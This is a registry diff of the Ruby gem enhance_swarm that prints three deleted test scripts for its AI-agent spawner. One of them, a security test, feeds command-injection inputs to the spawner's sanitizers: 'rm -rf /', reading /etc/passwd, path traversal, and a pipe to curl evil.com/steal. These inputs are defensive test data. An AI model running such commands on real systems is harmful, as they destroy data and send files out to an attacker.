enhance_swarm 1.0.0 → 2.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (50) hide show
  1. checksums.yaml +4 -4
  2. data/.claude/CLAUDE.md +164 -0
  3. data/.claude/MCP.md +117 -0
  4. data/.claude/PERSONAS.md +114 -0
  5. data/.claude/RULES.md +221 -0
  6. data/.enhance_swarm/archives/session_1751182876_06ee7e0e_20250629_094116.json +16 -0
  7. data/.enhance_swarm/archives/session_1751187567_9d1227c8_20250629_105927.json +16 -0
  8. data/.enhance_swarm/archives/session_1751190454_6faf48a2_20250629_114734.json +16 -0
  9. data/.enhance_swarm/archives/session_1751190516_3e4f9437_20250629_114836.json +16 -0
  10. data/.enhance_swarm/archives/session_1751192354_79568f0f_20250629_121914.json +16 -0
  11. data/.enhance_swarm/archives/session_1751195070_99653548_20250629_130433.json +16 -0
  12. data/.enhance_swarm/archives/session_1751196542_a292e40c_20250629_132902.json +7 -0
  13. data/.enhance_swarm/archives/session_1751196824_9b65d28e_20250629_133344.json +24 -0
  14. data/.enhance_swarm/archives/session_1751197867_d16edbc5_20250629_135109.json +24 -0
  15. data/.enhance_swarm/archives/session_1751208541_f9531ce5_20250629_164901.json +16 -0
  16. data/.enhance_swarm/logs/backend_error.log +0 -0
  17. data/.enhance_swarm/logs/backend_output.log +0 -0
  18. data/.enhance_swarm/logs/debug_manual_error.log +0 -0
  19. data/.enhance_swarm/logs/debug_manual_output.log +18 -0
  20. data/.enhance_swarm/logs/frontend_error.log +0 -0
  21. data/.enhance_swarm/logs/frontend_output.log +45 -0
  22. data/.enhance_swarm/logs/general_error.log +0 -0
  23. data/.enhance_swarm/logs/general_output.log +0 -0
  24. data/.enhance_swarm/user_patterns.json +5 -5
  25. data/.enhance_swarm.yml +33 -0
  26. data/CHANGELOG.md +71 -0
  27. data/DEPLOYMENT.md +344 -0
  28. data/README.md +277 -789
  29. data/lib/enhance_swarm/agent_spawner.rb +210 -13
  30. data/lib/enhance_swarm/cli.rb +169 -8
  31. data/lib/enhance_swarm/control_agent.rb +28 -27
  32. data/lib/enhance_swarm/smart_orchestration.rb +60 -0
  33. data/lib/enhance_swarm/task_coordinator.rb +1327 -0
  34. data/lib/enhance_swarm/version.rb +1 -1
  35. data/lib/enhance_swarm/visual_dashboard.rb +2 -1
  36. metadata +34 -20
  37. data/PRODUCTION_TEST_LOG.md +0 -502
  38. data/setup.sh +0 -86
  39. data/test_builtin_functionality.rb +0 -121
  40. data/test_core_components.rb +0 -156
  41. data/test_real_claude_integration.rb +0 -285
  42. data/test_security.rb +0 -150
  43. data/test_smart_defaults.rb +0 -155
  44. data/test_task_integration.rb +0 -173
  45. data/test_web_ui.rb +0 -245
  46. data/web/assets/css/main.css +0 -645
  47. data/web/assets/js/kanban.js +0 -499
  48. data/web/assets/js/main.js +0 -525
  49. data/web/templates/dashboard.html.erb +0 -226
  50. data/web/templates/kanban.html.erb +0 -193
data/test_security.rb DELETED
@@ -1,150 +0,0 @@
1
- #!/usr/bin/env ruby
2
- # Security test for agent spawning
3
-
4
- $LOAD_PATH.unshift File.expand_path('lib', __dir__)
5
- require 'enhance_swarm'
6
-
7
- def test_security_vulnerabilities
8
- puts "šŸ”’ Security Vulnerability Tests"
9
- puts "=" * 40
10
-
11
- results = []
12
-
13
- # Test 1: Command injection in task description
14
- puts "\n1ļøāƒ£ Testing Command Injection in Task Description..."
15
-
16
- malicious_tasks = [
17
- 'test"; rm -rf /; echo "pwned',
18
- 'test`rm -rf /`test',
19
- 'test$(rm -rf /)test',
20
- 'test; cat /etc/passwd',
21
- 'test && echo "hack" > /tmp/hacked',
22
- 'test | curl evil.com/steal'
23
- ]
24
-
25
- spawner = EnhanceSwarm::AgentSpawner.new
26
-
27
- malicious_tasks.each_with_index do |task, i|
28
- puts " Testing: #{task[0..30]}..."
29
-
30
- begin
31
- # Test sanitization
32
- safe_task = spawner.send(:sanitize_task_description, task)
33
-
34
- # Check if dangerous characters were removed
35
- dangerous_chars = ['`', '$', ';', '&', '|']
36
- has_dangerous = dangerous_chars.any? { |char| safe_task.include?(char) }
37
-
38
- if has_dangerous
39
- puts " āŒ FAIL: Dangerous characters not removed from: #{safe_task}"
40
- results << { test: "Command injection #{i+1}", status: "āŒ FAIL" }
41
- else
42
- puts " āœ… PASS: Task sanitized to: #{safe_task}"
43
- results << { test: "Command injection #{i+1}", status: "āœ… PASS" }
44
- end
45
-
46
- rescue => e
47
- puts " āŒ ERROR: #{e.message}"
48
- results << { test: "Command injection #{i+1}", status: "āŒ ERROR" }
49
- end
50
- end
51
-
52
- # Test 2: Role validation
53
- puts "\n2ļøāƒ£ Testing Role Validation..."
54
-
55
- malicious_roles = [
56
- '../../../etc/passwd',
57
- 'admin; rm -rf /',
58
- '`cat /etc/passwd`',
59
- 'unknown_role',
60
- nil,
61
- ''
62
- ]
63
-
64
- malicious_roles.each_with_index do |role, i|
65
- puts " Testing role: #{role.inspect}"
66
-
67
- begin
68
- safe_role = spawner.send(:sanitize_role, role)
69
-
70
- # Should only allow known safe roles
71
- safe_roles = %w[ux backend frontend qa general]
72
-
73
- if safe_roles.include?(safe_role)
74
- puts " āœ… PASS: Role sanitized to: #{safe_role}"
75
- results << { test: "Role validation #{i+1}", status: "āœ… PASS" }
76
- else
77
- puts " āŒ FAIL: Unsafe role allowed: #{safe_role}"
78
- results << { test: "Role validation #{i+1}", status: "āŒ FAIL" }
79
- end
80
-
81
- rescue => e
82
- puts " āŒ ERROR: #{e.message}"
83
- results << { test: "Role validation #{i+1}", status: "āŒ ERROR" }
84
- end
85
- end
86
-
87
- # Test 3: Script generation safety
88
- puts "\n3ļøāƒ£ Testing Script Generation Safety..."
89
-
90
- begin
91
- # Test with potentially dangerous prompt
92
- dangerous_prompt = 'test"; echo "hacked" > /tmp/pwned; echo "'
93
- script_path = spawner.send(:create_agent_script, dangerous_prompt, 'backend', '/tmp')
94
-
95
- if File.exist?(script_path)
96
- script_content = File.read(script_path)
97
-
98
- # Check if the dangerous content is properly quoted in heredoc
99
- if script_content.include?("'EOF'") && script_content.include?('cat > "$PROMPT_FILE" << \'EOF\'')
100
- puts " āœ… PASS: Script uses safe heredoc with single quotes"
101
- results << { test: "Script generation safety", status: "āœ… PASS" }
102
- else
103
- puts " āŒ FAIL: Script may be vulnerable to injection"
104
- puts " Script preview: #{script_content[0..200]}..."
105
- results << { test: "Script generation safety", status: "āŒ FAIL" }
106
- end
107
-
108
- # Cleanup
109
- File.delete(script_path) if File.exist?(script_path)
110
- else
111
- puts " āŒ ERROR: Failed to create script"
112
- results << { test: "Script generation safety", status: "āŒ ERROR" }
113
- end
114
-
115
- rescue => e
116
- puts " āŒ ERROR: #{e.message}"
117
- results << { test: "Script generation safety", status: "āŒ ERROR" }
118
- end
119
-
120
- # Results summary
121
- puts "\n" + "=" * 40
122
- puts "šŸ”’ SECURITY TEST RESULTS"
123
- puts "=" * 40
124
-
125
- passed = results.count { |r| r[:status].include?("āœ…") }
126
- total = results.length
127
-
128
- results.each do |result|
129
- puts " #{result[:status]} #{result[:test]}"
130
- end
131
-
132
- puts "\nšŸ“Š Security Test Success Rate: #{passed}/#{total} (#{total > 0 ? (passed.to_f / total * 100).round(1) : 0}%)"
133
-
134
- if passed == total && total > 0
135
- puts "\nšŸ›”ļø ALL SECURITY TESTS PASSED!"
136
- puts " āœ… Command injection protection working"
137
- puts " āœ… Role validation working"
138
- puts " āœ… Script generation is safe"
139
- else
140
- puts "\nāš ļø SECURITY ISSUES DETECTED!"
141
- puts " Review failed tests and address vulnerabilities"
142
- end
143
-
144
- passed == total && total > 0
145
- end
146
-
147
- if __FILE__ == $0
148
- success = test_security_vulnerabilities
149
- exit(success ? 0 : 1)
150
- end
@@ -1,155 +0,0 @@
1
- #!/usr/bin/env ruby
2
- # frozen_string_literal: true
3
-
4
- # Test script for smart defaults functionality
5
-
6
- require_relative 'lib/enhance_swarm'
7
-
8
- def test_smart_defaults
9
- puts "🧪 Testing Smart Defaults Functionality"
10
- puts "=" * 50
11
-
12
- # Test in current directory (enhance_swarm gem project)
13
- puts "\nšŸ“ Testing in current directory (enhance_swarm gem):"
14
-
15
- begin
16
- # Remove config file temporarily if it exists
17
- config_path = File.join(Dir.pwd, '.enhance_swarm.yml')
18
- backup_path = "#{config_path}.backup"
19
-
20
- if File.exist?(config_path)
21
- FileUtils.mv(config_path, backup_path)
22
- puts " Backed up existing config file"
23
- end
24
-
25
- # Create configuration with smart defaults
26
- config = EnhanceSwarm::Configuration.new
27
-
28
- puts " āœ… Configuration created successfully"
29
- puts " šŸ“Š Smart defaults applied:"
30
- puts " Project Name: #{config.project_name}"
31
- puts " Description: #{config.project_description}"
32
- puts " Technology Stack: #{config.technology_stack}"
33
- puts " Test Command: #{config.test_command}"
34
- puts " Max Agents: #{config.max_concurrent_agents}"
35
- puts " Code Standards: #{config.code_standards.first(2).join(', ')}..."
36
- puts " Important Notes: #{config.important_notes.length} detected"
37
-
38
- if config.important_notes.any?
39
- puts " First Note: #{config.important_notes.first}"
40
- end
41
-
42
- # Test project analyzer directly
43
- puts "\nšŸ” Testing ProjectAnalyzer directly:"
44
- analyzer = EnhanceSwarm::ProjectAnalyzer.new
45
- results = analyzer.analyze
46
-
47
- puts " Project Type: #{results[:project_type]}"
48
- puts " Technology Stack: #{results[:technology_stack].join(', ')}"
49
- puts " Testing Frameworks: #{results[:testing_framework].join(', ')}"
50
- puts " Build Systems: #{results[:build_system].join(', ')}"
51
- puts " Has Documentation: #{results[:documentation][:has_docs]}"
52
- puts " Documentation Path: #{results[:documentation][:primary_path]}"
53
- puts " Recommended Agents: #{results[:recommended_agents].join(', ')}"
54
-
55
- # Test smart commands
56
- smart_commands = results[:smart_commands]
57
- puts " Smart Commands:"
58
- smart_commands.each do |type, command|
59
- puts " #{type.to_s.capitalize}: #{command}" if command
60
- end
61
-
62
- # Restore config file if it existed
63
- if File.exist?(backup_path)
64
- FileUtils.mv(backup_path, config_path)
65
- puts " Restored original config file"
66
- end
67
-
68
- puts "\nāœ… Smart defaults test completed successfully!"
69
-
70
- rescue StandardError => e
71
- puts "\nāŒ Error testing smart defaults: #{e.message}"
72
- puts e.backtrace.first(5).join("\n")
73
-
74
- # Restore config file on error
75
- if File.exist?(backup_path)
76
- FileUtils.mv(backup_path, config_path)
77
- puts " Restored original config file after error"
78
- end
79
-
80
- return false
81
- end
82
-
83
- true
84
- end
85
-
86
- def test_different_project_types
87
- puts "\nšŸŽÆ Testing Different Project Type Detection:"
88
- puts "=" * 50
89
-
90
- # Test various project signatures
91
- test_cases = [
92
- {
93
- name: "Rails Project",
94
- files: ['Gemfile', 'config/application.rb'],
95
- expected_type: 'rails'
96
- },
97
- {
98
- name: "React Project",
99
- files: ['package.json'],
100
- package_content: { "dependencies" => { "react" => "^18.0.0" } },
101
- expected_type: 'react'
102
- },
103
- {
104
- name: "Django Project",
105
- files: ['manage.py', 'myapp/settings.py'],
106
- expected_type: 'django'
107
- }
108
- ]
109
-
110
- test_cases.each do |test_case|
111
- puts "\nšŸ“‹ Testing #{test_case[:name]}:"
112
-
113
- # Create temporary test directory
114
- test_dir = "/tmp/enhance_swarm_test_#{rand(1000)}"
115
- Dir.mkdir(test_dir)
116
-
117
- begin
118
- # Create test files
119
- test_case[:files].each do |file|
120
- file_path = File.join(test_dir, file)
121
- FileUtils.mkdir_p(File.dirname(file_path))
122
-
123
- if file == 'package.json' && test_case[:package_content]
124
- File.write(file_path, JSON.pretty_generate(test_case[:package_content]))
125
- else
126
- File.write(file_path, "# Test file for #{test_case[:name]}")
127
- end
128
- end
129
-
130
- # Test analyzer
131
- analyzer = EnhanceSwarm::ProjectAnalyzer.new(test_dir)
132
- results = analyzer.analyze
133
-
134
- detected_type = results[:project_type]
135
- puts " Expected: #{test_case[:expected_type]}"
136
- puts " Detected: #{detected_type}"
137
- puts " #{detected_type == test_case[:expected_type] ? 'āœ…' : 'āŒ'} Match"
138
-
139
- ensure
140
- # Cleanup
141
- FileUtils.rm_rf(test_dir) if Dir.exist?(test_dir)
142
- end
143
- end
144
- end
145
-
146
- # Run tests
147
- puts "šŸš€ Starting Smart Defaults Tests"
148
- puts
149
-
150
- if test_smart_defaults
151
- test_different_project_types
152
- puts "\nšŸŽ‰ All smart defaults tests completed!"
153
- else
154
- puts "\nšŸ’„ Smart defaults tests failed!"
155
- end
@@ -1,173 +0,0 @@
1
- #!/usr/bin/env ruby
2
- # frozen_string_literal: true
3
-
4
- # Test script for swarm-tasks integration
5
-
6
- require_relative 'lib/enhance_swarm'
7
-
8
- def test_task_integration
9
- puts "🧪 Testing Task Integration Functionality"
10
- puts "=" * 50
11
-
12
- begin
13
- # Test TaskIntegration class directly
14
- puts "\nšŸ“‹ Testing TaskIntegration class:"
15
-
16
- task_integration = EnhanceSwarm::TaskIntegration.new
17
-
18
- puts " āœ… TaskIntegration created successfully"
19
- puts " šŸ“Š Swarm Tasks Available: #{task_integration.swarm_tasks_available?}"
20
-
21
- if task_integration.swarm_tasks_available?
22
- puts " šŸŽÆ Testing swarm-tasks commands:"
23
-
24
- # Test list tasks
25
- tasks = task_integration.list_tasks
26
- puts " Found #{tasks.length} tasks"
27
-
28
- # Test get active tasks
29
- active_tasks = task_integration.get_active_tasks
30
- puts " Found #{active_tasks.length} active tasks"
31
-
32
- # Test get task folders
33
- folders = task_integration.get_task_folders
34
- puts " Found #{folders.length} task folders"
35
-
36
- # Test kanban data
37
- kanban_data = task_integration.get_kanban_data
38
- puts " Kanban data structure: #{kanban_data.keys.join(', ')}"
39
- else
40
- puts " āš ļø swarm-tasks not available - testing limited functionality"
41
- end
42
-
43
- # Test orchestrator integration
44
- puts "\nšŸŽÆ Testing Orchestrator integration:"
45
-
46
- orchestrator = EnhanceSwarm::Orchestrator.new
47
- puts " āœ… Orchestrator created successfully"
48
-
49
- task_data = orchestrator.get_task_management_data
50
- puts " šŸ“Š Task management data retrieved"
51
- puts " Keys: #{task_data.keys.join(', ')}"
52
-
53
- # Test setup
54
- setup_result = orchestrator.setup_task_management
55
- puts " šŸ”§ Task management setup: #{setup_result ? 'Success' : 'Failed/Limited'}"
56
-
57
- puts "\nāœ… Task integration test completed successfully!"
58
-
59
- rescue StandardError => e
60
- puts "\nāŒ Error testing task integration: #{e.message}"
61
- puts e.backtrace.first(5).join("\n")
62
- return false
63
- end
64
-
65
- true
66
- end
67
-
68
- def test_task_folder_structure
69
- puts "\nšŸ—‚ļø Testing Task Folder Structure:"
70
- puts "=" * 50
71
-
72
- # Create test task directory structure
73
- test_tasks_dir = File.join(Dir.pwd, 'test_tasks')
74
-
75
- begin
76
- # Create test structure
77
- FileUtils.mkdir_p(test_tasks_dir)
78
-
79
- # Create standard kanban folders
80
- folders = ['todo', 'in_progress', 'review', 'done']
81
- folders.each do |folder|
82
- folder_path = File.join(test_tasks_dir, folder)
83
- FileUtils.mkdir_p(folder_path)
84
-
85
- # Create some test task files
86
- (1..3).each do |i|
87
- task_file = File.join(folder_path, "task_#{i}.md")
88
- File.write(task_file, "# Test Task #{i}\n\nThis is a test task in #{folder}")
89
- end
90
- end
91
-
92
- puts " āœ… Created test task structure with #{folders.length} folders"
93
- puts " šŸ“ Folders: #{folders.join(', ')}"
94
-
95
- # Test folder analysis
96
- original_dir = Dir.pwd
97
- Dir.chdir(File.dirname(test_tasks_dir))
98
-
99
- # Temporarily rename the test directory to 'tasks' for testing
100
- tasks_dir = File.join(File.dirname(test_tasks_dir), 'tasks')
101
- FileUtils.mv(test_tasks_dir, tasks_dir) if Dir.exist?(test_tasks_dir)
102
-
103
- task_integration = EnhanceSwarm::TaskIntegration.new
104
- detected_folders = task_integration.get_task_folders
105
-
106
- puts " šŸ” Detected #{detected_folders.length} task folders:"
107
- detected_folders.each do |folder|
108
- puts " #{folder[:name]}: #{folder[:task_count]} tasks (#{folder[:status]})"
109
- end
110
-
111
- Dir.chdir(original_dir)
112
-
113
- puts " āœ… Task folder structure test completed!"
114
-
115
- ensure
116
- # Cleanup
117
- [test_tasks_dir, tasks_dir].each do |dir|
118
- FileUtils.rm_rf(dir) if dir && Dir.exist?(dir)
119
- end
120
- end
121
-
122
- true
123
- end
124
-
125
- def test_configuration_with_tasks
126
- puts "\nāš™ļø Testing Configuration with Task Integration:"
127
- puts "=" * 50
128
-
129
- begin
130
- # Test configuration creation with task management
131
- config = EnhanceSwarm::Configuration.new
132
-
133
- puts " āœ… Configuration created successfully"
134
- puts " šŸ“Š Task Command: #{config.task_command}"
135
- puts " šŸ“Š Task Move Command: #{config.task_move_command}"
136
-
137
- # Test orchestrator with configuration
138
- orchestrator = EnhanceSwarm::Orchestrator.new
139
- puts " āœ… Orchestrator with task integration created"
140
-
141
- puts " āœ… Configuration test completed!"
142
-
143
- rescue StandardError => e
144
- puts " āŒ Error testing configuration: #{e.message}"
145
- return false
146
- end
147
-
148
- true
149
- end
150
-
151
- # Run tests
152
- puts "šŸš€ Starting Task Integration Tests"
153
- puts
154
-
155
- if test_task_integration
156
- if test_task_folder_structure
157
- if test_configuration_with_tasks
158
- puts "\nšŸŽ‰ All task integration tests completed successfully!"
159
- puts "\nšŸ“‹ Summary:"
160
- puts " āœ… TaskIntegration class working"
161
- puts " āœ… Orchestrator integration working"
162
- puts " āœ… Task folder structure detection working"
163
- puts " āœ… Configuration integration working"
164
- puts "\nšŸŽÆ Ready for UI development with task management features!"
165
- else
166
- puts "\nšŸ’„ Configuration tests failed!"
167
- end
168
- else
169
- puts "\nšŸ’„ Task folder tests failed!"
170
- end
171
- else
172
- puts "\nšŸ’„ Task integration tests failed!"
173
- end